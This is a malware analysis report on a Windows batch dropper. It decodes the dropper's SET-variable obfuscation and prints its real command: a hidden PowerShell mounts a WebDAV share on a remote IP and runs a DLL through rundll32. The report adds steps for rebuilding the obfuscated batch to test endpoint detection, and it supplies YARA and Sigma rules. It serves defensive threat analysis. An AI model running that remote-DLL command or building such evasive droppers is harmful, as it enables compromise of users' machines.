unclassified-js-webdav-dropper: d36d84f2 — Seventeenth Confirmed Sibling

Executive Summary

A 2.1 KB Windows batch dropper that is the seventeenth confirmed sibling of the unclassified-js-webdav-dropper family. Uses shared-prefix SET variable obfuscation (wdopmXXXX, 36 entries) to assemble a net use WebDAV mount + rundll32 remote DLL execution chain against 45.9.74.32:8888. Payload: 639.dll. Identical execution engine to siblings e777fd64, ed6b2cd3, c6e24c16, and ceacabb4 — only the SET prefix and payload filename differ. ^[sample d36d84f2/strings.txt]

What It Is

How It Works

Obfuscation

The script fragments its payload across 36 SET variable assignments on line 1 of strings.txt. ^[sample d36d84f2/strings.txt:1] Each variable uses a shared 5-character prefix (wdopm) followed by a random 5-character suffix, holding a single ASCII character value. The complete mapping decodes to lowercase letters a–z and digits 0–9.

Execution Chain (Decoded)

Line 2 of strings.txt ^[sample d36d84f2/strings.txt:2] — a decoy launch:

color f0&&start wordpad

Line 3 of strings.txt ^[sample d36d84f2/strings.txt:3] — the real payload:

start powershell.exe -windowstyle hidden net use \\45.9.74.32@8888\davwwwroot\ ; rundll32 \\45.9.74.32@8888\davwwwroot\639.dll,entry

1. color f0 — sets console colors (benign-looking).
2. start wordpad — launches WordPad as a visible decoy. ^[sample d36d84f2/strings.txt:2]
3. start powershell.exe -windowstyle hidden — spawns PowerShell with hidden window. ^[sample d36d84f2/strings.txt:3]
4. net use \\45.9.74.32@8888\davwwwroot\ — mounts the WebDAV share. ^[sample d36d84f2/strings.txt:3]
5. rundll32 \\45.9.74.32@8888\davwwwroot\639.dll,entry — loads and executes 639.dll from the remote share via the signed rundll32.exe system binary. ^[sample d36d84f2/strings.txt:3]

Decompiled Behavior

Not applicable — this is a batch script, not a compiled binary. No Ghidra or radare2 decompilation required. Static string substitution is sufficient to recover the full execution chain.

C2 Infrastructure

Interesting Tidbits

• Identical execution engine to siblings e777fd64, ed6b2cd3, c6e24c16, and ceacabb4 — all use rundll32 ... ,entry against 45.9.74.32:8888 with a wordpad decoy. The only delta is the SET prefix and payload filename. ^[sample d36d84f2/strings.txt]
• Shared-prefix SET pattern (wdopmXXXX) is the same anti-static technique observed in siblings e777fd64 (hbutcXXXX), ed6b2cd3 (labzfXXXX), and c6e24c16 (nmnmdXXXX). ^[sample d36d84f2/strings.txt:1]
• No sandbox gating — no debugger checks, no VM detection, no time-bombs, no connectivity checks. Executes immediately on launch. ^[sample d36d84f2/strings.txt]
• Low code quality — hand-written, verbose, repetitive. Lacks commercial obfuscator signatures. ^[sample d36d84f2/strings.txt]

How To Mess With It (Homelab Replication)

1. Build the obfuscated batch:
   • Write a clear batch script performing net use + rundll32.
   • Split every character into a SET PREFIXSUFFIX=char line with a shared 5-char prefix.
   • Reassemble via %PREFIXSUFFIX% expansion on the execution lines.
2. Test against your EDR — does it flag rundll32.exe with a UNC path? Most do not by default.
3. Verify WebDAV mount — set up a local WebDAV server (wsgidav --host=0.0.0.0 --port=8888) and observe net use + rundll32 behavior in Process Monitor.

Deployable Signatures

YARA Rule

rule UnclassifiedJSWebDAVDropper_BatchSetObfuscation {
    meta:
        description = "Detects batch-script WebDAV dropper with shared-prefix SET obfuscation"
        author = "Titus"
        date = "2026-06-25"
        sha256 = "d36d84f2346a7d9c03bae733f80b1640ebc81b2a6509f395fa090f896a117be3"
    strings:
        $set_pattern = /set [a-z]{10}=[a-z0-9]/
        $webdav = "\\davwwwroot\\" ascii
        $rundll32 = "rundll32" ascii
        $net_use = "net use" ascii
        $wordpad = "wordpad" ascii
    condition:
        filesize < 5KB and
        #set_pattern > 20 and
        $webdav and
        ($rundll32 or $net_use) and
        $wordpad
}

Sigma Rule

title: Batch WebDAV Dropper with Rundll32 Execution
description: Detects batch scripts mounting WebDAV shares and executing remote DLLs via rundll32
logsource:
    category: process_creation
    product: windows
detection:
    selection_netuse:
        CommandLine|contains:
            - 'net use'
            - '\\@8888\\davwwwroot'
    selection_rundll32:
        CommandLine|contains:
            - 'rundll32'
            - '\\@8888\\davwwwroot'
            - '.dll,entry'
    condition: selection_netuse or selection_rundll32
falsepositives:
    - Legitimate WebDAV administration scripts
level: high

IOC List

Behavioral Fingerprint Statement

This batch script obfuscates its payload via shared-prefix SET variable expansion (wdopmXXXX), then launches WordPad as a decoy before spawning PowerShell with a hidden window to mount a WebDAV share at \\45.9.74.32@8888\davwwwroot\ and execute 639.dll via rundll32.exe with export entry. No sandbox gating, no persistence, no C2 beyond the WebDAV mount.

Detection Signatures (ATT&CK Mapping)

References

• Artifact ID: 3ded5f93-6c37-423b-a65d-9f693946abcd
• Source: MalwareBazaar / OpenCTI
• Entity page: unclassified-js-webdav-dropper
• Technique pages: webdav-regsvr32-dll-sideloading, batch-powershell-variable-expansion-obfuscation
• Sibling analyses: e777fd64, ed6b2cd3, c6e24c16, ceacabb4 (same C2, same execution engine)

Provenance

• file.txt — file-type identification
• strings.txt — raw script content and decoded payload
• exiftool.json — file metadata
• triage.json — triage classification
• dynamic-analysis.md — CAPE skipped (not a supported binary class)
• ssdeep.txt — ssdeep hash
• tlsh.txt — TLSH hash
• yara.txt — no YARA matches
• pefile.txt — not a PE
• binwalk.txt — no embedded artefacts
• rabin2-info.txt — radare2 binary header summary (ASCII text)
• floss.txt — error (not applicable to non-PE)
• capa.txt — error (not applicable to non-PE)

Report generated by Titus, Lieutenant of the Ultramarines.